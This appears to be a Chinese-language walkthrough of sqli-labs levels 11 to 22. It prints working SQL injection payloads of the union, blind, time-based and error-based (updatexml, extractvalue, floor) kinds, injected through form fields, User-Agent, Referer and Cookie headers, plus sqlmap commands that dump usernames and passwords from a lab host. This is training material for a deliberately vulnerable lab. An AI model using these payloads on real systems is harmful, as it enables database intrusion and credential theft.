Sqlilabs第十一关
我们随便输入一个内容,只有一个登陆失败的图片并没有带有sql语法的报错回显
通过构造一个错误的语法ggbond'单引号;发现有sql语句的错误回显;我们可以判断出此登陆界面是通过单引号闭合的
构造一个恒成立的sql语句,发现爆出其登陆的用户名和密码
通过orderby函数判断出有两个字段
ggbond' order by 2 #
通过union查询 爆出其字段所在位置,如图所示
通过database()和version()爆出其数据库和系统版本
ggbond' union select database(),version() #
在BP中抓包在uname值处构造payload,爆出表名
ggbond' union select group_concat(table_name),4 from information_schema.tables where table_schema='security' #
爆列名
ggbond' union select group_concat(column_name),4 from information_schema.columns where table_name='users' #
或者
ggbond' union select group_concat(column_name),4 from information_schema.columns where table_schema='security' and table_name='users' #
爆用户名和密码
ggbond' union select group_concat(username,password),4 from users #
Sqlilabs第十二关
第十二关的post请求 ,我们通过反斜杠发现它为双引号+单扩号形式闭合,之后的脱库等操作和上一个十一关差不多
Sqlilabs第十三关
第十三关采用的是单引号+单括号型
Sqlilabs第十四关
十四关采用双引号型闭合
Sqlilabs第十五关
十五关通过反斜杠没有错误显示,此时我们进行盲注,通过布尔盲注对其进行探测
# 构造恒等式看正确与错误页面的回显
ggbond' or 1=1 #
Sqlilabs第十六关
通过来回探测发现是双引号+单括号闭合
") or 1=1 #
但其实他设计得是基于时间的盲注
") or if(1=1,sleep(5),1) #
之后通过时间盲注猜解出它后台数据库
Sqlilabs第十七关
第十七关是密码重置界面(已知用户名和密码情况下)
通过源码我们发现其对uname进行了过滤,但passwd没有进行过滤相关的安全设置
接下来BP抓包来通过passwd进行注入
MySQL三种报错注入
updatexml手工注入(update报错注入,利用Xpath报错注入数据)
updatexml(XML_document,XPath_string,new_value); XML_document:String格式,为XML文档对象的名称,文中为Doc XPath_string:Xpath格式的字符串,代表路径。 new_value:String格式,替换查找到的符合条件的数据。
ggbond' or updatexml(1,concat(0x7e,database(),0x7e),1)#
ggbond' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
extractvalue报错注入
ggbond' and (extractvalue(1,concat(0x5c,database(),0x5c)))#
ggbond' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))#
ggbond' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
floor报错注入
通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误
count():计算满足某一条件下的行数
floor():向下取整的函数
rand():生成0~1之间的浮点数
count():group by:针对表中的字段来分组
爆数据库
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#
Sqlilabs第十八关
通过输入正确用户名和密码之后,有user-Agent字段回显信息;我们推测User-Agent为注入点(单引号字符型注入点)
通过报错函数Updatexml()让其显示出敏感信息
updatexml(xml_document,xpath_string,new_value):
第一个参数:XML文档对象名称。
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。
# 利用Xpath错误注入数据;如下图显示出版本信息
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
爆数据库
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
利用extractvalue()函数也可以进行报错注入
' and extractvalue('1',concat(0x7e,(select @@version),0x7e)) or '1'='1
爆表
' and extractvalue('1',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) or '1'='1
爆字段
' and extractvalue('1',concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) or '1'='1
报数据
' and extractvalue('1',concat(0x7e,(select group_concat(username,0x7e,password) from users),0x7e)) or '1'='1
Sqlilabs第十九关
正确登陆之后,发现可能存在referer注入
抓包在Referer字段后面通过反斜杠探测;发现有sql语法报错;说明referer处存在注入点
之后通过mysql的错误函数注入对其进行爆库
第二种方法直接通过sqlmap自动化注入,操作如下
┌──(root㉿kali)-[~/Desktop]
└─# cat leve19.txt # 将抓取的post请求包放到本地文本中
POST /Less-19/ HTTP/1.1
Host: 10.10.10.137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://10.10.10.137
Connection: close
Referer: *
Upgrade-Insecure-Requests: 1
uname=admin&passwd=1&submit=Submit
┌──(root㉿kali)-[~/Desktop]
└─# sqlmap -r leve19.txt --batch --dbs # sqlmap 脱库
┌──(root㉿kali)-[~/Desktop]
└─# sqlmap -r leve19.txt --batch -D security --tables # 爆表
┌──(root㉿kali)-[~/Desktop]
└─# sqlmap -r leve19.txt --batch -D security -T users --columns # 爆字段
┌──(root㉿kali)-[~/Desktop]
└─# sqlmap -r leve19.txt --batch -D security -T users -C username,password --dump # 将数据dump到屏幕上并且生成结果文件
Sqlilabs第二十关
登陆成功之后发现存在Cookies注入点
抓取带有cookies参数的Get请求,通过反斜杠进行错误探测,判定是cookies单引号字符型注入
之后通过updatexml的错误函数进行其注入爆库,具体我就不演示了,已经演示好多次了
'and updatexml(1,concat(0x7e,version(),0x7e),1) --+
第二个方法:
还可以通过sqlmap进行自动化注入
┌──(root㉿kali)-[~/Desktop]
└─# sqlmap -r leve20.txt --batch --dbs
┌──(root㉿kali)-[~/Desktop]
└─# cat leve20.txt # 抓取带有cookies参数的包将其内容放到本地文本并修改cookies值uname=*
GET /Less-20/index.php HTTP/1.1
Host: 10.10.10.137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.137/Less-20/
Connection: close
Cookie: uname=*
Upgrade-Insecure-Requests: 1
之后如何通过sqlmap爆数据我也不多说啥了
Sqlilabs第二十一关
单引号1+小括号+base64编码
抓包发现cookies值被base64编码了
直接跑sqlmap
┌──(root㉿kali)-[~/Desktop]
└─# sqlmap -r leve21.txt --batch --dbs --level 3 --tamper base64encode.py
┌──(root㉿kali)-[~/Desktop]
└─# cat leve21.txt # 抓取的cookies参数包
GET /Less-21/index.php HTTP/1.1
Host: 10.10.10.137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.137/Less-21/index.php
Connection: close
Cookie: uname=*
Upgrade-Insecure-Requests: 1
Sqlilabs第二十二关
双引号+base64编码
sqlmap自动化注入
┌──(root㉿kali)-[~/Desktop]
└─# sqlmap -r leve22.txt --batch --dbs --level 3 --tamper base64encode.py
┌──(root㉿kali)-[~/Desktop]
└─# cat leve22.txt
GET /Less-22/index.php HTTP/1.1
Host: 10.10.10.137
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.137/Less-22/index.php
Connection: close
Cookie: uname= * # 注入星号*位置
Upgrade-Insecure-Requests: 1